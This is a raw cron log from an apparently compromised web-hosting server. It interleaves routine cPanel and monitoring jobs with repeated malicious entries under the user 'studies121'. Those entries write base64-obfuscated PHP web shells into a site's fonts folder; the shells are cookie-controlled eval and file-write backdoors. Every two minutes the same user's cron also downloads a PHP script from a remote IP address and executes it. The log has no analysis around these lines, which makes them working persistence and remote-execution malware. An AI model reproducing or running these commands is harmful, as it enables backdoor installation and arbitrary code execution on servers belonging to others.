Sep 20 14:08:01 ip-184-168-122-23 CROND[22613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:08:01 ip-184-168-122-23 CROND[22612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:08:01 ip-184-168-122-23 CROND[22615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:08:01 ip-184-168-122-23 CROND[22616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:09:01 ip-184-168-122-23 CROND[22858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:09:01 ip-184-168-122-23 CROND[22861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:09:01 ip-184-168-122-23 CROND[22859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:09:01 ip-184-168-122-23 CROND[22860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:09:01 ip-184-168-122-23 CROND[22862]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 14:10:01 ip-184-168-122-23 CROND[23185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:10:01 ip-184-168-122-23 CROND[23187]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:10:01 ip-184-168-122-23 CROND[23191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:10:01 ip-184-168-122-23 CROND[23190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:10:01 ip-184-168-122-23 CROND[23195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:10:01 ip-184-168-122-23 CROND[23193]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:10:01 ip-184-168-122-23 CROND[23198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:10:01 ip-184-168-122-23 CROND[23196]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 14:11:02 ip-184-168-122-23 CROND[23460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:11:02 ip-184-168-122-23 CROND[23462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:11:02 ip-184-168-122-23 CROND[23465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:11:02 ip-184-168-122-23 CROND[23466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:12:01 ip-184-168-122-23 CROND[23700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:12:01 ip-184-168-122-23 CROND[23702]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:12:01 ip-184-168-122-23 CROND[23705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:12:01 ip-184-168-122-23 CROND[23706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:12:01 ip-184-168-122-23 CROND[23708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:13:01 ip-184-168-122-23 CROND[23952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:13:01 ip-184-168-122-23 CROND[23953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:13:01 ip-184-168-122-23 CROND[23954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:13:01 ip-184-168-122-23 CROND[23955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:14:01 ip-184-168-122-23 CROND[24198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:14:01 ip-184-168-122-23 CROND[24200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:14:01 ip-184-168-122-23 CROND[24201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:14:01 ip-184-168-122-23 CROND[24204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:14:01 ip-184-168-122-23 CROND[24205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:15:01 ip-184-168-122-23 CROND[24457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:15:01 ip-184-168-122-23 CROND[24458]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:15:01 ip-184-168-122-23 CROND[24459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:15:01 ip-184-168-122-23 CROND[24460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:15:01 ip-184-168-122-23 CROND[24462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:15:01 ip-184-168-122-23 CROND[24463]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 20 14:15:01 ip-184-168-122-23 CROND[24464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:16:01 ip-184-168-122-23 CROND[24712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:16:01 ip-184-168-122-23 CROND[24713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:16:01 ip-184-168-122-23 CROND[24716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:16:01 ip-184-168-122-23 CROND[24719]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 14:16:01 ip-184-168-122-23 CROND[24723]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:16:01 ip-184-168-122-23 CROND[24722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:17:01 ip-184-168-122-23 CROND[24971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:17:01 ip-184-168-122-23 CROND[24970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:17:01 ip-184-168-122-23 CROND[24972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:17:01 ip-184-168-122-23 CROND[24973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:18:01 ip-184-168-122-23 CROND[25308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:18:01 ip-184-168-122-23 CROND[25309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:18:01 ip-184-168-122-23 CROND[25311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:18:01 ip-184-168-122-23 CROND[25310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:18:01 ip-184-168-122-23 CROND[25307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:19:01 ip-184-168-122-23 CROND[25595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:19:01 ip-184-168-122-23 CROND[25597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:19:01 ip-184-168-122-23 CROND[25598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:19:01 ip-184-168-122-23 CROND[25599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:20:01 ip-184-168-122-23 CROND[25849]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 14:20:01 ip-184-168-122-23 CROND[25850]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 14:20:01 ip-184-168-122-23 CROND[25852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
